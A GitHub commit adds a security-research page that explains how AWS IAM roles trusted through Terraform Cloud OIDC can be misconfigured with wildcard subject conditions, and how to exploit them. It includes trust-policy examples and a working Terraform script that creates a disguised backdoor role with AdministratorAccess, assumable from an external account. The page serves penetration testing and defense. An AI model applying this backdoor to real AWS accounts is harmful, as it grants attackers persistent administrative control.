Skip to content

Commit fa5975e

Browse files
authored
Merge pull request #442 from saw-your-packet/new-exploit-terraform-cloud-oidc
new: terraform cloud OIDC exploitation
2 parents f2b17ab + f700c15 commit fa5975e

File tree

7 files changed

+185
-0
lines changed

7 files changed

+185
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
---
2+
author_name: Eduard Agavriloae
3+
title: "Exploiting Misconfigured Terraform Cloud OIDC AWS IAM Roles"
4+
description: Discover how to identify and exploit misconfigured AWS IAM roles using Terraform Cloud OIDC
5+
---
6+
7+
<div class="grid cards" markdown>
8+
9+
- :material-account:{ .lg .middle } __Original Research__
10+
11+
---
12+
13+
<aside style="display:flex">
14+
<p><a href="https://hacktodef.com/addressed-aws-defaults-risks-oidc-terraform-and-anonymous-to-administratoraccess">Addressed AWS defaults risks: OIDC, Terraform and Anonymous to AdministratorAccess</a> by <a href="https://www.linkedin.com/in/eduard-k-agavriloae/">Eduard Agavriloae</a></p>
15+
<p><img src="/images/researchers/eduard_agavriloae.jpg" alt="Eduard Agavriloae" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p>
16+
</aside>
17+
18+
</div>
19+
20+
OIDC stands for OpenID Connect and is an identity layer built on top of the OAuth 2.0 protocol. In AWS, OIDC can be used to federate identities from external identity providers, such as Google, Facebook or Terraform, allowing users to access AWS resources using their existing third-party accounts.
21+
22+
OIDC is useful because instead of creating a set of AWS access keys for a user with administrator permissions and worry that they might get exposed, you can configure an IAM role with OIDC for Terraform Cloud to assume.
23+
24+
![Terraform OIDC Flow](../../../images/aws/exploitation/exploiting_misconfigured_terraform_cloud_oidc_aws_iam_role/0-flow-oidc-terraform.jpeg)
25+
26+
## IAM role misconfiguration using Terraform Cloud OIDC
27+
28+
### Part of the past as of 7th of February
29+
30+
When the issue was first documented, the presence of this misconfiguration was partially facilitated by AWS. If you were to create from the web portal a new IAM role for Terraform Cloud, by default the role's trust policy would look like this:
31+
32+
```json
33+
{
34+
"Version": "2012-10-17",
35+
"Statement": [
36+
{
37+
"Effect": "Allow",
38+
"Principal": {
39+
"Federated": "arn:aws:iam::<aws-account-id>:oidc-provider/app.terraform.io"
40+
},
41+
"Action": "sts:AssumeRoleWithWebIdentity",
42+
"Condition": {
43+
"StringEquals": {
44+
"app.terraform.io:aud": "aws.workload.identity"
45+
}
46+
}
47+
}
48+
]
49+
}
50+
```
51+
52+
This trust role policy is missing the "app.terraform.io:sub" condition. Essentially, the present misconfiguration allows anyone to assume this role. As documented by [Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration), you need to specify your organization through the subject condition like below to limit the access to this role:
53+
54+
```json
55+
"Condition": {
56+
"StringEquals": {
57+
"app.terraform.io:aud": "aws.workload.identity"
58+
},
59+
"StringLike": {
60+
"app.terraform.io:sub": "organization:<your-terraform-organization>:project:<project>:workspace:<workspace>:run_phase:<run_phase>"
61+
}
62+
}
63+
```
64+
65+
Well, AWS made some changes and now they require from the start to specify the Organization, Project, Workspace, and Run Phase. Even more, now you can't create Terraform Cloud OIDC roles that don't have the subject condition.
66+
67+
![Configuration Web Console](../../../images/aws/exploitation/exploiting_misconfigured_terraform_cloud_oidc_aws_iam_role/1-engineer-configuration.png)
68+
69+
And for anyone who had a role for Terraform Cloud without the subject, on 8th of November 2024 AWS sent a notification that announced two things:
70+
71+
- Starting 7th of November 2024 you will not be able to create new Terraform Cloud roles without the subject condition
72+
- Starting 7th of February 2025 the subject condition will be enforced for these roles (so most likely the misconfigured roles will not work anymore afterwards)
73+
74+
![Configuration Web Console](../../../images/aws/exploitation/exploiting_misconfigured_terraform_cloud_oidc_aws_iam_role/3-notification-aws.jpeg)
75+
76+
So while you might still be able to find roles misconfigured like this (without the subject condition), just be aware that the attack against it most likely will not work starting from 7th of February 2025.
77+
78+
Can you still exploit misconfigured Terraform Cloud OIDC roles? Yes.
79+
80+
### The present misconfiguration
81+
82+
These roles can still be misconfigured. All it takes is an asterisks in the organization's name.
83+
84+
![Configuration Web Console](../../../images/aws/exploitation/exploiting_misconfigured_terraform_cloud_oidc_aws_iam_role/2-engineer-role.png)
85+
86+
So let's say we identified a role with the next trust policy:
87+
88+
```json
89+
{
90+
"Version": "2012-10-17",
91+
"Statement": [
92+
{
93+
"Effect": "Allow",
94+
"Principal": {
95+
"Federated": "arn:aws:iam::259230201556:oidc-provider/app.terraform.io"
96+
},
97+
"Action": "sts:AssumeRoleWithWebIdentity",
98+
"Condition": {
99+
"StringEquals": {
100+
"app.terraform.io:aud": "aws.workload.identity"
101+
},
102+
"StringLike": {
103+
"app.terraform.io:sub": "organization:hackingthe*:project:blog:workspace:prod-front-end:run_phase:*"
104+
}
105+
}
106+
}
107+
]
108+
}
109+
```
110+
111+
Notice the asterisk from the organization's name. Because the value is `hackingthe*`, we should be able to assume this role as described in the next section.
112+
113+
## Exploitation
114+
115+
Go to [Terraform Cloud](https://app.terraform.io/), create an account (it's free) and:
116+
117+
- Create an organization that follows the mentioned pattern: `hackingthe-*`
118+
- Create a project named `blog`
119+
- Create a workspace named `prod-front-end`
120+
121+
The `run_phase` is usually an asterisk as it's values refer to the stages that occur during a Terraform operation: plan, policy check and apply.
122+
123+
The next step involves configuring the next two variables in Terraform Cloud:
124+
125+
- TFC_AWS_PROVIDER_AUTH: true
126+
- This will tell Terraform Cloud to authenticate with AWS
127+
- TFC_AWS_RUN_ROLE_ARN: arn:aws:iam::<aws-account-id>:role/<role-name>
128+
- This will tell Terraform Cloud what role to assume
129+
130+
![Configuration Web Console](../../../images/aws/exploitation/exploiting_misconfigured_terraform_cloud_oidc_aws_iam_role/4-attacker-config.png)
131+
132+
133+
Prepare a Terraform script of your choice. Here is an example that wil create a backdoored role with administrator permissions. Please make sure you are authorized to perform this test.
134+
135+
```text
136+
# here we need to set the the details of our organization
137+
terraform {
138+
cloud {
139+
organization = "hackingthe-anything"
140+
workspaces {
141+
name = "prod-front-end"
142+
}
143+
}
144+
}
145+
146+
# region can be anything if you create only IAM resources
147+
provider "aws" {
148+
region = "eu-central-1"
149+
}
150+
151+
# create role named "AWSServicesRoleForAutomation" that can be assumed from an external AWS account
152+
resource "aws_iam_role" "create_role" {
153+
name = "AWSServicesRoleForAutomation"
154+
assume_role_policy = jsonencode({
155+
"Version" : "2012-10-17",
156+
"Statement": [
157+
{
158+
"Effect": "Allow",
159+
"Principal": {
160+
"AWS": "arn:aws:iam::<external-aws-account>:root"
161+
},
162+
"Action": "sts:AssumeRole",
163+
"Condition": {}
164+
}
165+
]
166+
})
167+
}
168+
169+
# attach administrator level permissions to this role
170+
resource "aws_iam_policy_attachment" "create_role_backdoor" {
171+
name = "create_role_backdoor"
172+
roles = [aws_iam_role.create_role.name]
173+
policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
174+
}
175+
```
176+
177+
Save this to `main.tf`, login in terraform CLI and apply the changes.
178+
179+
```bash
180+
terraform login
181+
terraform init
182+
terraform apply
183+
```
184+
185+
Now the role should be created and you can try to assume it from the external AWS account.
Loading

0 commit comments

Comments
 (0)